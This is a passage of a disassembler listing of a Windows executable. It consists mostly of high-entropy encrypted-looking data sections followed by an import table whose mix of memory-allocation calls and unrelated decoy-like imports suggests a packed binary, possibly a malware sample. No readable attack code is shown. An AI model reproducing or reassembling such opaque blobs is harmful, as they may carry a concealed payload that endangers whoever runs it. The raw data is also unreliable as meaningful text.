		dd 0E651D1D9h, 0B34F8780h, 3B4793EFh, 0AE1C5C37h, 7BBA0CB0h
		dd 88E1E6EAh, 0A980851Eh, 0A4BFC10Dh, 33DDEB9Ah, 43937A78h
		dd 0EEA49AFh, 0CDEAF3CAh, 76538F82h, 6CCD3EE9h,	0FEC70CD5h
		dd 0B3905350h, 881FD66Ch, 80C39D81h, 7CB01A18h,	0C02D5F3h
		dd 27EB7DD4h, 2C0A6397h, 680A93F2h, 0A7D84676h,	8544335Eh
		dd 1CF8AAC8h, 11397EDh,	0E28EBAC6h, 207F9399h, 1273A27Eh
		dd 3D41D51h, 0DEF1B347h, 26780154h, 66994C77h, 0AF4A358Ah
		dd 97730A45h, 0FA9CDBADh, 0DF37F3FBh, 0D4363680h, 9E4AD8DBh
		dd 0B9DE4AE6h, 6547FFE4h, 0E41F5010h, 8F58F3AAh, 192FE032h
		dd 0A29A2AA3h, 55A37FD9h, 85A6C589h, 0B2D36C49h, 635B956Ah
		dd 0B87C5F48h, 9E6BBE85h, 35C8FB19h, 22F0DB65h,	3C8E8794h
		dd 0C6F01077h, 6C34EF54h, 11A92C15h, 223B02F7h,	0BD285DECh
		dd 5CA4E2D7h, 2A1F3D26h, 9E111A8h, 0EE8FCD8h, 8ABF2EA1h
		dd 5A48FF1h, 1E159687h,	874A6DE2h, 0E5820512h, 0EDDA794Ch
		dd 234A03E2h, 14720CBEh, 0E9F48AEh, 167BF26Eh, 9BAE719Dh
		dd 0CF63527Fh, 80F6324h, 96B92252h, 0FDDA582Dh,	62D5ABE4h
		dd 5C4583C3h, 0DB7130h,	4A628A5Bh, 56ECC382h, 75A3B1FFh
		dd 489D2CA5h, 6BF9AAD2h, 0C72CA837h, 3A8B3344h,	0A4CDC912h
		dd 7F299543h, 0EAD1F415h, 0D8066926h, 1AE31DEh,	9BE279EEh
		dd 14834F05h, 5BAE21D2h, 78EFA4ECh, 50C75017h, 0D9637AAh
		dd 8A49B97Ch, 5B77E600h, 45A5C224h, 0BAAD44BCh,	3BE3F8FFh
		dd 4E0A8C44h, 0E4570175h, 66206864h, 91577F31h,	0FE51040Fh
		dd 0D2F74575h, 15FEA2C5h, 3248C752h, 11FEFA87h,	0B57F4470h
		dd 4F938CB5h, 17C9A7E6h, 0EF0B56C4h, 0AE6DA4B1h, 3BDFFB2Ah
		dd 96CF91F0h, 5FEBDEBFh, 0EFD6EF37h, 90E55C9Eh,	6FA76064h
		dd 0D60C23A3h, 0E8C9403Dh, 0EA4DC6AEh, 0CE2ABA0Ah, 0F1F93C6Dh
		dd 78DBF338h, 0ED801732h, 4379F75Dh, 0F52545BAh, 288AB1B9h
		dd 2FB833A1h, 0C072CE2Bh, 32E1ED4Bh, 70130B5Ch,	934B3381h
		dd 0FF9CBEB9h, 0B077AAD5h, 2548BD2Fh, 25AB3BC3h, 0DB5BE97Fh
		dd 2312038Eh, 46585364h, 309BF39Bh, 820971E2h, 5BA10E26h
		dd 0B7A319Ah, 93202AD6h, 0E1ABA438h, 7896A699h,	0D5DE4B4Ah
		dd 6521BF4Ch, 0B958E089h, 0C53F83E9h, 0B314419h, 2C476AB4h
		dd 0F5FBA2A3h, 0F64549A5h, 43241840h, 0CFA3FF53h, 73FEB6B8h
		dd 15A8021Bh, 0FA265B32h, 9E9E75D5h, 3EB68B35h,	2FB285E4h
		dd 621F5E1Ah, 9989A31Eh, 382D3516h, 0EFBC8839h,	0F34875h
		dd 49B83820h, 86405C5Bh, 0D4786307h, 5EB202C6h,	66D04BA1h
		dd 3DD884E2h, 0D48DB908h, 11536DCEh, 0E3220C4h,	9326EDDEh
		dd 9D4A178Ah, 0CDC38AB0h, 0B390A070h, 80B9ECDCh, 37CB03C5h
		dd 419608B0h, 45CE21D1h, 0E5A92C1h, 2181A76Ah, 0E26219CBh
		dd 0A169544h, 0F61DB3B9h, 301319BFh, 4FA894A3h,	97655F2Eh
		dd 6197B975h, 8E17BA94h, 0F2165FE8h, 68D478C7h,	3E003744h
		dd 77CEED88h, 40B2760Dh, 0F0C52BF3h, 975E198Dh,	98D76EFEh
		dd 22844AECh, 0AA7D02E6h, 8739F017h, 34267356h,	56EAB940h
		dd 162D4F55h, 0C086DDh,	5F6CC039h, 2213E97Bh, 9451EF99h
		dd 84A4FA0Bh, 4CA4768Fh, 725350DBh, 0A78D0D19h,	0FBBCCC48h
		dd 0FC4A439Dh, 4AAF068h, 0AF09BAE7h, 0DB147E77h, 86E67D42h
		dd 5546B164h, 6C1799E0h, 43139A20h, 555E973Fh, 0DBAE6A31h
		dd 89452B0Fh, 285AB3D6h, 0B5E0BE0Ah, 0C675B1AAh, 0A00D9F9Ah
		dd 0C9561C10h, 747E505Dh, 0DC9D1A59h, 0E91508F5h, 0D5FCCFA6h
		dd 7AD39929h, 7A91FBF8h, 51328A58h, 0FC36FB01h,	3879D004h
		dd 530AA7BEh, 0B304A78Ah, 0DB70215Ch, 53BCE42Dh, 138BF7FFh
		dd 0B7ABBCF1h, 91D913A3h, 1BD3F43Fh, 884E36EFh,	0E0F4EFD3h
		dd 234FD3CDh, 497DC8D9h, 0AC4C3448h, 96122F10h,	0A98D6D9Ah
		dd 0B6068FC2h, 55B1423Fh, 726F7630h, 4AAF117Ch,	0D10F2D31h
		dd 1897F778h, 0EADFBABAh, 0D556EA56h, 0ED388CABh, 0F2BE122Bh
		dd 0BCFAF33Eh, 5E2AEF43h, 0A4A22F23h, 95BCD862h, 9EF3D91Ah
		dd 0E21DBADEh, 59161295h, 7B8A0383h, 0BD30FBF2h, 0E6C673CAh
		dd 188C87B7h, 0A800B66Ah, 0F533E186h, 0EB734D0Eh, 3A3CBD1h
		dd 1496500Fh, 1659F11Ah, 0CBBD8849h, 0EC219B36h, 180ED4D4h
		dd 227CB187h, 51BC2545h
		dd 89CE592h, 0D2B49714h, 0B8852C3h, 7F11EFDh, 43DD0CCBh
		dd 0DA986248h, 0B14797A7h, 94CD965Eh, 0BE689FDh, 0ECB72DE4h
		dd 0D8BF7423h, 72647239h, 0A9979078h, 2961D978h, 4C5F0674h
		dd 0D2C31C54h, 0F3D1556Dh, 0EE63C257h, 0CB54F7FAh, 0AB1EF0A9h
		dd 0F4D157A8h, 635677B7h, 68D60227h, 0ED9B22B9h, 0C171B66Bh
		dd 4DC2C071h, 255F6842h, 2E38DFDEh, 24B782h, 0BDC362F8h
		dd 5B1C4284h, 0CAE158D9h, 0A63752BEh, 0C6604159h, 2969E73Bh
		dd 0EF16F3A4h, 35F8D19Bh, 0FFF2CE42h, 0A4D43D9Ch, 49D746BDh
		dd 0D69E80F2h, 0D9B8A5BFh, 0C6A62613h, 807FBA32h, 9574520Ah
		dd 508FC5F1h, 10ED09Ch,	0C51DF462h, 886E5A3Eh, 7C756F7Dh
		dd 0EF13912Bh, 2D54E606h, 0EA150CCAh, 0F5AEFA65h, 1168DF1Bh
		dd 0C90474A5h, 25BAF106h, 7BBD8CAAh, 0D266F3BBh, 31759E99h
		dd 5DA524EAh, 0AD056C82h, 0BB3ABECh, 7B23399Bh,	0FF1C67Dh
		dd 65E569Eh, 714F5045h,	5B2D1357h, 7E4B5633h, 32A9A023h
		dd 0D59EEB8Dh, 0F3360281h, 0B876323Fh, 186B9CEh, 18C7BE5Fh
		dd 0F037D2FAh, 0C3551EBEh, 4EC545EEh, 0F9760467h, 4842DC54h
		dd 3B42947h, 41919218h,	5756AA1Ch, 22908EFAh, 0E79DEA88h
		dd 2C0E8BA5h, 3A95BBD6h, 9455F362h, 0F659F43Ch,	24F1A182h
		dd 0B3C454E2h, 11464699h, 0E21D1A8Ah, 9611DE41h, 488067D1h
		dd 59A53A0h, 8571039h, 9ABA02E2h, 0DBDBA066h, 31C15E22h
		dd 711BE274h, 1BED1045h, 9FF697FDh, 0BDCB0860h,	41EE6368h
		dd 0C0CD2C69h, 51E3C386h, 0ADFB2C19h, 0B67BAB82h, 0B664AD9Ah
		dd 3B5F5F73h, 3245175Ch, 0AA0603B0h, 150B8484h,	0FE7DC153h
		dd 1F02BC0Ah, 0AC5EADF8h, 86E3C2D6h, 1A03CCA0h,	38B66637h
		dd 9B064FDAh, 6B087CA8h, 0E4B7FD15h, 4A4EA933h,	7BF1CC11h
		dd 23AA2A3Fh, 4493917Ch, 417EA29Dh, 0D84F0A95h,	0DA01178Fh
		dd 0DD4F0416h, 0CEF1E477h, 69D53F73h, 0DA964D07h, 52D44481h
		dd 1039B0F7h, 3B713C7Fh, 8CCA2F1Bh, 65E86A4Bh, 0B072A79Ch
		dd 720A5434h, 15272928h, 423833BDh, 94AC3D85h, 82C501D3h
		dd 2A0D01DFh, 0BF2F488Ah, 50D84ECBh, 146556C8h,	7F51599Ah
		dd 3749F16h, 95B11673h,	0B848C906h, 0D48A4985h,	0F71A4DDEh
		dd 0D1BD796Dh, 0EBD5F1C3h, 60E2B097h, 0EC87794Dh, 0D113F8F0h
		dd 0F623AC26h, 8FEB97C9h, 0F44CAB22h, 15C6358Ah, 0FE659B5Ch
		dd 9E2E2384h, 0E1631C19h, 831A13Fh, 0A9D5DBE3h,	6B313BB2h
		dd 0AB51249Bh, 0DE6431C2h, 0ACFEAE8Ah, 3967C4CEh, 593EB61Eh
		dd 21ECE399h, 350FF5BEh, 1B5DE396h, 0F6C28481h,	40DDC508h
		dd 0C4213EB2h, 273AAE3Ch, 0C85E96F4h, 1A1F89A7h, 0EF285680h
		dd 6240D983h, 793CD828h, 7CC09E78h, 2738F964h, 0F6722FE7h
		dd 0BF7F2E30h, 8F6D4DDCh, 0D381DD7Ch, 47C661E8h, 0DF312D01h
		dd 2BE45A42h, 0C7A970D9h, 0C39E1BD0h, 984E8A45h, 0D5ECEF26h
		dd 9AF46592h, 0F6A8899Eh, 0E8172A85h, 0D05C79B5h, 0E41B78D4h
		dd 6EE1122Eh, 308ED02Ch, 4A2527B0h, 98073412h, 0AA68EF1h
		dd 50406AD3h, 3017EBEh,	0D336D913h, 0FA3D29ACh,	335DFF06h
		dd 5B8F03A6h, 4140BF5h,	0EB92DAC5h, 8B9C62F7h, 8950D805h
		dd 0CA1BB62Ah, 4886487Bh, 0CFA47DA7h, 691654BCh, 46A767BDh
		dd 6BEBE113h, 3D01FD98h, 53F90137h, 0E1DF5E40h,	9B4265E6h
		dd 8AC3FA35h, 4DF872FFh, 400D93BDh, 0BE129800h,	1E8835F4h
		dd 0DED7A43Ah, 47FECD0Fh, 65D133E1h, 553AF2C0h,	6E3EEC2Fh
		dd 599135E3h, 478A0211h, 9CFF5DB0h, 0BC0A8490h,	5B7439D6h
		dd 821FE2D7h, 0CBF5B9A3h, 8BF29BD9h, 63FB3F82h,	1DD720E8h
		dd 14DDB1BDh, 22112867h, 0F8752F20h, 6E7A7C15h,	27586C9Ch
		dd 0BC56E56Bh, 0C0C8002h, 8E815B20h, 684A29FFh,	0E7FC9A78h
		dd 598F70E7h, 9C9829C2h, 8C102DF4h, 9D09F9B3h, 0C41D592h
		dd 1E00F94Ah, 0EC3DFC52h, 0D182B9E1h, 9B4AA4EAh, 0F863A84Dh
		dd 27E293FAh, 51B7FD5Bh, 0DB19C68Ch, 0AE72FE1Dh, 58AE6AB0h
		dd 0D02E9508h, 19118C40h, 2ED1FE9Bh, 419AD0FAh,	9149C45Ch
		dd 0CA133BD5h, 0CC78DBB9h, 3B1B9CEEh, 76063B00h, 0D53971E0h
		dd 1792C1B7h, 3C8B07F8h, 0AD1007C5h, 0E4FD6CBDh, 0C1F29E3Bh
		dd 7E00ED22h, 0F1B4231Fh, 94981D5Bh, 3CA53F90h,	0E34589C2h
		dd 29F602C3h, 7ACD1081h, 79532B18h, 515C5762h, 0A8C7A8BAh
		dd 7FEE20B1h, 58997566h, 7C2F15A2h, 0DFB81D0h, 2F0C5A81h
		dd 0AB47FE6Ah, 5768D52Fh, 0F07FADD3h, 50601096h, 4D3631A0h
		dd 0D9B00BD5h, 99C4966Eh, 26A85647h, 30887F7Ah,	41E408D3h
		dd 3EDEEDA6h, 0F7D6D256h, 0DB494E3h, 74E4311Ah,	1710091Dh
		dd 0DBB686F9h, 0D7946FB3h, 0F335B229h, 7175C0B6h, 2B1220A0h
		dd 0B9590E49h, 548964BCh, 1A821FBEh, 3FDDA3AAh,	623F1682h
		dd 0EB98DAF9h, 39225FBEh, 0B035BE1h, 0DEE7E8EAh, 0B251A2EFh
		dd 592D20DCh, 2D86D22Dh, 40B74DD3h, 7E2E3F9Dh, 728542CFh
		dd 47CEB713h, 3C0E058Ch, 0F03D931Fh, 8108F89Fh,	805C249Dh
		dd 1D5DB609h, 1CE06587h, 19519C19h, 0D7F6893Eh,	0B664BC77h
		dd 3CF2827Bh, 299541C7h, 4BAA5505h, 96F9287Ah, 70791AB1h
		dd 1821D0A3h, 0FA2B9BA0h, 8A396504h, 97CAE2CCh,	22ECB885h
		dd 7FE3F32Bh, 0C04E0292h, 0D33452C9h, 0F44C926Eh, 6C32667Dh
		dd 0F4CE404Bh, 0F7609AF2h, 0CA0FB1B7h, 50791D91h, 0D991AFD1h
		dd 562ED177h, 86EBDFEh,	0DEF33F0Dh, 57D45E05h, 0C412413Fh
		dd 24C55A0Eh, 62AEB1C8h, 5BD2F459h, 0B22B14E6h,	0A869C802h
		dd 0BAB82A89h, 8C3BF760h, 5CE48C8h, 2FB27A8Eh, 0E88A1B0Ah
		dd 0AECA4EC4h, 10ECA022h, 1A14A884h, 9D0B0E73h,	1CE7EC56h
		dd 0C5531C8Ah, 9C68BDADh, 32B42FAEh, 0B786C284h, 0AA99FCBh
		dd 0FCF93867h, 0A9CDBCDh, 7C747FAFh, 92F012A0h,	0AFD6CFF2h
		dd 3BCB75B7h, 4DCE1A3Fh, 9624DB30h, 0E9BE9A4h, 0BAA079DAh
		dd 5CC0CC43h, 0AA36E56Fh, 0F541C103h, 0A2927843h, 0F40D2BA9h
		dd 0CBB2C5Bh, 3F76F721h, 0D76696BAh, 96FF220Dh,	0E9717FBAh
		dd 6091B22h, 3EAB059Dh,	0AD1F226Fh, 4420431Fh, 241CE08Bh
		dd 435DE2FCh, 59D3DDFh,	0EE4020D5h, 0F81803ABh,	0BE7405F8h
		dd 0ACAB5417h, 813E24FEh, 38E76A51h, 8DE11C56h,	30E6EA27h
		dd 0EDAE4E8Dh, 15159192h, 0C8ACCE9Dh, 517FA655h, 25CD314Dh
		dd 0D793F78Eh, 0F3BDD9F6h, 0D837A9E8h, 38F6D809h, 0C7929F9Fh
		dd 1DDE70DDh, 0CB1BAEFDh, 0A085D0C2h, 0E875E0EFh, 0E33FE9F6h
		dd 4FFEC88h, 0D1362829h, 0BF779E52h, 0FAA869E6h, 690C9605h
		dd 5B7E7855h, 5429403Dh, 0B0922525h, 1276A5C9h,	76C13AA7h
		dd 7707128Fh, 0F7D643E2h, 171315A6h, 71BD1F3Dh,	0D73B3297h
		dd 6C087407h, 6183131Bh, 5F299A11h, 3810912Ch, 5F636A2Eh
		dd 9558702Fh, 0C64CC2DEh, 0BF1CFB76h, 3BF5FD9Dh, 737CD7A3h
		dd 0C293399Fh, 0CCE9C3D1h, 0D492FC7Dh, 1A142A38h, 16A4D182h
		dd 0AF52E1DAh, 55995265h, 0F9BEE6F1h, 0F955117Ch, 40CC3164h
		dd 1FA16774h, 4A85521Eh, 0C1B015AEh, 0E3DB187Ch, 20617513h
		dd 0B10571A4h, 0BA177D8Eh, 711F5D4Eh, 89B37B65h, 85F601ACh
		dd 0F2CFA91Ah, 0D5E75DE5h, 8F60FFE1h, 946C1801h, 8891A6EBh
		dd 0DB68A62Ch, 414E3C2Ch, 609C9DC8h, 0D5C085C3h, 19E05047h
		dd 0ED1CC2E2h, 4EF6299Eh, 72418E58h, 0FCB66F2Eh, 0AC28016Ch
		dd 0BD15862Fh, 6B4890D9h, 36E3A715h, 711E228Ch,	35BB5712h
		dd 0B52A1DBCh, 34C39DA3h
		dd 5EEFCA46h, 80B004A2h, 0C12DB234h, 4073E71Eh,	0D8176557h
		dd 1CCFD7F8h, 487CBDA9h, 6391CFAh, 0AE794F93h, 0E31CBAFBh
		dd 0F3CB0FA0h, 0FBA2E773h, 0B22B26AAh, 134F0018h, 0BC6A6530h
		dd 2CA541Eh, 0FEF3CDD8h, 451DAB50h, 0E77DB7B0h,	171CA16Fh
		dd 0CC72D10h, 0D4945202h, 7168EC67h, 0A93E8720h, 0B2EEDE7Ch
		dd 4045B368h, 0B416C5E6h, 0C220DF70h, 7B20D5BDh, 4804E3E3h
		dd 94D1FEC0h, 700F5092h, 96518A4Fh, 0C339D071h,	5271E221h
		dd 0C870121Ah, 50956E5Ah, 0EE30B824h, 5882C899h, 224A94Bh
		dd 0AC387B51h, 0E4A5551Ah, 5D05ADA8h, 4406378Bh, 0CDDE0F59h
		dd 26B05A9h, 2F11A9D6h,	4C106079h, 59FF9334h, 69B94690h
		dd 1B47144Dh, 3AD07048h, 5BE0F158h, 0FDD17E0Ah,	69D9ECD4h
		dd 2AADB4E7h, 6714EF47h, 9F838D4Ch, 63635140h, 0E6CB83D8h
		dd 8699EFB7h, 69AF1D19h, 2B55ADB7h, 8B6DD6FDh, 1C0BDABAh
		dd 52659879h, 86CE7D64h, 0C590EA6Ch, 0CFE22D6Ch, 3F94E630h
		dd 239F19FCh, 0DB3B6C22h, 0A30392F9h, 9C0B21F3h, 0BC4175DEh
		dd 4CD665D6h, 4206EE2Dh, 25F5894Bh, 0F10724D3h,	0C5E7EB84h
		dd 5FE2B2D5h, 0F97E3899h, 1744BAA2h, 0A7155C1Dh, 3425ACA6h
		dd 17B39CDh, 0DED977D4h, 0FB788DB5h, 0D655ACDFh, 0F727C5E7h
		dd 1EA05D8Eh, 57C7BD18h, 24h dup(0)
		align 800h
_data		ends

; Section 3. (virtual address 00011000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 0000D800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 411000h
		dd 7B58600h, 0BA01F5A9h, 0B6CD32C7h, 0B827E5B2h, 1C041128h
		dd 2641BE0h, 0A9AD9158h, 0A231BA20h, 948B1708h,	4799D75Ch
		dd 0B5C6D415h, 525081A5h, 0DF335457h, 1A17BF44h, 2416CBF8h
		dd 3E5DFA2h, 46BA68BDh,	7D60370Dh, 4A029591h, 0DED0D702h
		dd 0A8ECFD56h, 88E46D5Ah, 742F77BFh, 0CB912FDBh, 3138142Ch
		dd 6075805Dh, 18265DE2h, 0FB58F6F1h, 1B236635h,	5F5A91EFh
		dd 0D3AD0C16h, 41F3EE41h, 0F7A6A166h, 0F151A2C5h, 42341598h
		dd 0B2E1FE22h, 0DDC98EACh, 0EBB1C85Dh, 0C4BFCE16h, 223CC734h
		dd 882AA28Bh, 832CD80Bh, 90B7C023h, 8D7DEE53h, 684E0D44h
		dd 9F074F09h, 0A3524504h, 502D510Eh, 0E2392AEDh, 0C3ACCE1Ah
		dd 352DB975h, 0CA0D9E15h, 8BD21F24h, 4EA236Ah, 0DCDC6EE0h
		dd 0C1A67564h, 45C9BD1Bh, 0CD51E907h, 2D6AE2E9h, 406F22A5h
		dd 0A423B16h, 0F9F20733h, 0B9D20B27h, 872B1C42h, 8BC60F62h
		dd 0B08BED67h, 997EABD7h, 529BDFD0h, 43D0E40Dh,	0A1A6E287h
		dd 0C2E0AD88h, 0EF174598h, 466F692Ch, 4EEAD41h,	0A7326C9Ch
		dd 38F699EAh, 9C8F2FD8h, 4F36BD6Dh, 0CD8FFD37h,	0BB7BEF20h
		dd 0A41349A9h, 15512D7Ch, 72C3EC9Bh, 1C7157BCh,	7BFEE25Fh
		dd 0DDE91F23h, 65548AF9h, 856B079Dh, 1F515181h,	0F0A1294Ah
		dd 0CBC10064h, 0F8C02BF9h, 3AAF6AA2h, 0A9E5DF0Fh, 0A04F6CB6h
		dd 0A8159D65h, 126BACD3h, 0B66361Eh, 4C353F8Dh,	0D9A5353Ch
		dd 0EE8576C9h, 6CB22AABh, 14EDB75Fh, 36AF5BC8h,	0BFA365C0h
		dd 0AE546014h, 0EEFD9201h, 0B77556C8h, 7D1AA5EDh, 0ACEBFECEh
		dd 0E19BB752h, 9179C23Ah, 5860E55Ah, 61CFBACFh,	87C73CBBh
		dd 7B6C1603h, 23C44361h, 33A82EF5h, 85361119h, 0D6B6418Bh
		dd 89593DDCh, 0F0BF8D63h, 27F41DA3h, 1129998Dh,	55676DB4h
		dd 0B0644B1Eh, 12032F74h, 0A5691944h, 0DFB8038Bh, 38630347h
		dd 0A91A59A7h, 0A38B68DEh, 0B366BD4Fh, 167AB936h, 27F4FC8Bh
		dd 88380F72h, 0FF8AF729h, 0C0E7EF8Dh, 0FFA61C22h, 62699031h
		dd 19B1048Dh, 32AEB5C8h, 0B8270B78h, 3C054CA9h,	0AA17CA16h
		dd 0A64F02FFh, 4C9D313Eh, 0AE8CB46Eh, 70AAE29Ah, 94582F38h
		dd 0A39E2466h, 96A916F5h, 0E62858C5h, 0FD06DF23h, 6D70F10Ch
		dd 0C73B459h, 0BEE4BC74h, 2E0EA117h, 1849184Fh,	1A6DB117h
		dd 55A44975h, 26BD359Dh, 0AABC8930h, 0E9EC3B11h, 0EE36244Bh
		dd 0C9C4AC93h, 1B2DCA82h, 0F098A12Ch, 7093ABCAh, 447BF6B3h
		dd 907DC57Dh, 60BEF3Fh,	857C38EDh, 3E813DDFh, 4B0E3CAEh
		dd 0AA35A544h, 0A6A0613Ch, 2FD676F0h, 2B309237h, 0BFFE13Dh
		dd 10A463AEh, 361E36A8h, 7D16B3C1h, 882D28E7h, 56C5557Bh
		dd 9EAE5D5Fh, 9D79887Dh, 20F41775h, 59D5B0CAh, 0CCC2DFEDh
		dd 5E8AE564h, 0E5C00C7Dh, 89D60B32h, 652E8DF1h,	8E466D09h
		dd 0ECBE222Ch, 540A0752h, 86F81E9Ch, 0FDCFE9C8h, 69AFB103h
		dd 0B8AB0116h, 299853B2h, 0BDE23A28h, 0C0723F40h, 0BB8C35DEh
		dd 91C66CCh, 0FF303F91h, 9B536CEEh, 0AD41D803h,	38E3CB70h
		dd 8A0B83C9h, 311854CCh, 5C5BF72Ah, 0E0B4EEFDh,	0B91C864Eh
		dd 6A23B1E1h, 207A19D5h, 663060FAh, 96433294h, 2649F6DAh
		dd 0C4C57664h, 690FC98Ah, 0FAA99471h, 4EDD16E6h, 2E11B3Dh
		dd 0E9811D5Ch, 319DE550h, 0DD83B7D4h, 1D156C65h, 0F42D9DBEh
		dd 49E83489h, 0FE660DB6h, 87708D93h, 0A4209C01h, 0F2391515h
		dd 293120D7h, 14EB80D9h, 302059B6h, 685E11FDh, 2254F586h
		dd 0D6245024h, 35D28AE6h, 0DD825B59h, 9B618D43h, 0A044ED98h
		dd 0E0313h, 0Ah	dup(0)
		align 1000h
_rdata		ends

; Section 4. (virtual address 00012000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000800 (   2048.)
; Offset to raw	data for section: 0000DC00
; Flags	40000040: Data Readable
; Alignment	: default
;
; Imports from kernel32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; BOOL __stdcall UnmapViewOfFile(LPCVOID lpBaseAddress)
		extrn UnmapViewOfFile:dword
; int __stdcall	lstrlenA(LPCSTR	lpString)
		extrn lstrlenA:dword
; LPSTR	__stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength)
		extrn lstrcpynA:dword
; LPSTR	__stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcpyA:dword
; int __stdcall	lstrcmpA(LPCSTR	lpString1, LPCSTR lpString2)
		extrn lstrcmpA:dword
; LPSTR	__stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcatA:dword
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword
; BOOL __stdcall EnumResourceLanguagesA(HMODULE	hModule, LPCSTR	lpType,	LPCSTR lpName, ENUMRESLANGPROCA	lpEnumFunc, LONG_PTR lParam)
		extrn EnumResourceLanguagesA:dword
; BOOL __stdcall EnumResourceLanguagesW(HMODULE	hModule, LPCWSTR lpType, LPCWSTR lpName, ENUMRESLANGPROCW lpEnumFunc, LONG_PTR lParam)
		extrn EnumResourceLanguagesW:dword
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword
; BOOL __stdcall FreeResource(HGLOBAL hResData)
		extrn FreeResource:dword
; DWORD	__stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
		extrn GetFileSize:dword
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA	lpStartupInfo)
		extrn GetStartupInfoA:dword
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn GetVersionExA:dword
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments)
		extrn RaiseException:dword
		extrn RtlUnwind:dword
; BOOL __stdcall SetCurrentDirectoryA(LPCSTR lpPathName)
		extrn SetCurrentDirectoryA:dword
; DWORD	__stdcall SleepEx(DWORD	dwMilliseconds,	BOOL bAlertable)
		extrn SleepEx:dword
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn WriteFile:dword
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
		extrn VirtualAlloc:dword
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
		extrn VirtualFree:dword

;
; Imports from oleaut32.dll
;
; HRESULT __stdcall RevokeActiveObject(DWORD dwRegister, void *pvReserved)
		extrn RevokeActiveObject:dword
; INT __stdcall	SysReAllocString(BSTR *pbstr, const OLECHAR *psz)
		extrn SysReAllocString:dword
; HRESULT __stdcall VarBstrCat(BSTR bstrLeft, BSTR bstrRight, LPBSTR pbstrResult)
		extrn VarBstrCat:dword
; HRESULT __stdcall VarBstrCmp(BSTR bstrLeft, BSTR bstrRight, LCID lcid, ULONG dwFlags)
		extrn VarBstrCmp:dword
; HRESULT __stdcall RegisterTypeLib(ITypeLib *ptlib, LPCOLESTR szFullPath, LPCOLESTR szHelpDir)
		extrn RegisterTypeLib:dword
; HRESULT __stdcall GetErrorInfo(ULONG dwReserved, IErrorInfo **pperrinfo)
		extrn GetErrorInfo:dword
; HCURSOR __stdcall OleIconToCursor(HINSTANCE hinstExe,	HICON hIcon)
		extrn OleIconToCursor:dword
; HRESULT __stdcall OleLoadPicture(LPSTREAM lpstream, LONG lSize, BOOL fRunmode, const IID *const riid,	LPVOID *lplpvObj)
		extrn OleLoadPicture:dword
; HRESULT __stdcall OleLoadPicturePath(LPOLESTR	szURLorPath, LPUNKNOWN punkCaller, DWORD dwReserved, OLE_COLOR clrReserved, const IID *const riid, LPVOID *ppvRet)
		extrn OleLoadPicturePath:dword
; HRESULT __stdcall OleTranslateColor(OLE_COLOR	clr, HPALETTE hpal, COLORREF *lpcolorref)
		extrn OleTranslateColor:dword

;
; Imports from user32.dll
;
; BOOL __stdcall MessageBeep(UINT uType)
		extrn MessageBeep:dword
; int __stdcall	FillRect(HDC hDC, const	RECT *lprc, HBRUSH hbr)
		extrn FillRect:dword
; BOOL __stdcall EndDeferWindowPos(HDWP	hWinPosInfo)
		extrn EndDeferWindowPos:dword
; BOOL __stdcall EnableScrollBar(HWND hWnd, UINT wSBflags, UINT	wArrows)
		extrn EnableScrollBar:dword
; BOOL __stdcall DestroyMenu(HMENU hMenu)
		extrn DestroyMenu:dword


		end start